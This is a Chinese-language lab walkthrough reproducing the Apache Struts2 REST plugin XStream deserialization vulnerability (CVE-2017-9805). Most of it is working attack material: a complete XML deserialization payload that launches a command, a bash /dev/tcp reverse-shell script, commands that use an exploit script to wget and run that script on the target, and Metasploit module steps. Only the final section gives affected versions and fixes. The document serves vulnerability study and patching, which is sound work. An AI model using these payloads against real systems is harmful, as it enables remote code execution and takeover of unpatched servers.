漏洞描述:
2017年9月5日,Apache Struts發布最新安全公告,Apache Struts2的REST插件存在遠程代碼執行的高危漏洞,該漏洞由lgtm.com的安全研究員匯報,漏洞編號為CVE-2017-9805(S2-052)。Struts2 REST插件的XStream組件存在反序列化漏洞,使用XStream組件對XML格式的數據包進行反序列化操作時,未對數據內容進行有效驗證,存在安全隱患,可被遠程攻擊
漏洞編號:
CVE編號:CVE-2017-9805
漏洞復現:
利用彈出計算器復現:
漏洞環境為:win2008sr2+tomcat9.0
1.從struts2的官網下載最后受影響的版本struts-2.5.12,其下載地址:
http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip

拿到struts-2.5.12-apps之后,將其中的app目錄下的struts2-rest-showcase.war文件放到webapps目錄下,我的是
D:\apache-tomcat-9.0.0.M26\webapps
2.瀏覽器中訪問地址:http://ip地址:8080/struts2-rest-showcase/
會跳轉,然后出現下面的頁面:

3.點擊一個edit進行編譯頁面,然后提交,並用burp抓包。


並發送到repeater進行修改包如下:
這里將:
Content-Type: application/x-www-form-urlencoded 修改為:
Content-Type: application/xml
post數據改成:
下面的command就是反序列化出來的命令執行:
<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>calc.exe</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map>
4.修改完后,就進行提交包:

可以看到響應頁面中有500錯誤:

5.最終在目標機器彈出了計算器

利用s2-052.py反彈linux下的struts2:
1.環境搭建:
目標靶機:ubuntu16.04x64+docker(ip地址:192.168.1.105)
攻擊機:kali(nc運行監聽,IP地址:192.168.1.113)
2.dokce鏡像地址:
https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-037
3.在ubuntu上執行:
docker pull medicean/vulapps:s_struts2_s2-037 #拉取鏡像到本地
docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-037 #啟動環境
最終訪問:
http://192.168.1.105:8080/orders

4.編寫bk.sh腳本,內容為:
bash -i >& /dev/tcp/192.168.1.113/666 0>&1 #這里的ip就是我NC監聽的IP地址
6.將bk.sh放到hsf搭建的ftp服務器上或者其他提供文件服務器上

7.通過運行python s2-052.py執行如下:
python s2-052.py http://192.168.1.105:8080/orders "wget http://192.168.1.102/bk.sh" #下載到目標靶機上


python s2-052.py http://192.168.1.105:8080/orders "/bin/bash ./bk.sh" #執行sh腳本

9.然后在kali進行nc監聽,並反彈出shell:
nc -lvvp 666

s2-052.py的下載地址:
https://raw.githubusercontent.com/backlion/demo/master/s2-052%20.py
msf下的反彈struts2的shell:
測試環境:
目標靶機:ubuntu16.04x64+docker(采用如上文說的利用s2-052.py反彈linux下的struts2搭建環境)
攻擊機:kali2017(貌似在kali2016上有點問題,加載不了payload)
1.在kali上執行:
root@kali2017:~# cd /opt root@kali2017:/opt# wget https://raw.githubusercontent.com/wvu-r7/metasploit-framework/5ea83fee5ee8c23ad95608b7e2022db5b48340ef/modules/exploits/multi/http/strut root@kali2017:/opt# cp struts2_rest_xstream.rb /usr/share/metasploit-framework/modules/exploits/multi/http/

root@kali2017:/opt# msfconsole msf > use exploit/multi/http/struts2_rest_xstream msf exploit(struts2_rest_xstream) > show options

msf exploit(struts2_rest_xstream) > set rhost 192.168.1.105 msf exploit(struts2_rest_xstream) > set rport 8080

msf exploit(struts2_rest_xstream) > set target /orders msf exploit(struts2_rest_xstream) > set lhost 192.168.1.113 msf exploit(struts2_rest_xstream) > set lport 443 msf exploit(struts2_rest_xstream) > exploit



可以看到成功反彈shell
受影響版本:
Apache Struts Version:Struts 2.5 - Struts 2.5.12
漏洞修復建議:
1、升級到Apache Struts版本2.5.13
2、最好的選擇是在不使用時刪除Struts REST插件,或僅限於服務器普通頁面和JSONs:
<constant name="struts.action.extension" value="xhtml,,json" />
3、限制服務端擴展類型,刪除XML支持。
由於應用的可用類的默認限制,某些REST操作可能會停止工作。在這種情況下,請調查介紹的新接口以允許每個操作定義類限制,那些接口是:
org.apache.struts2.rest.handler.AllowedClasses
org.apache.struts2.rest.handler.AllowedClassNames
org.apache.struts2.rest.handler.XStreamPermissionProvider
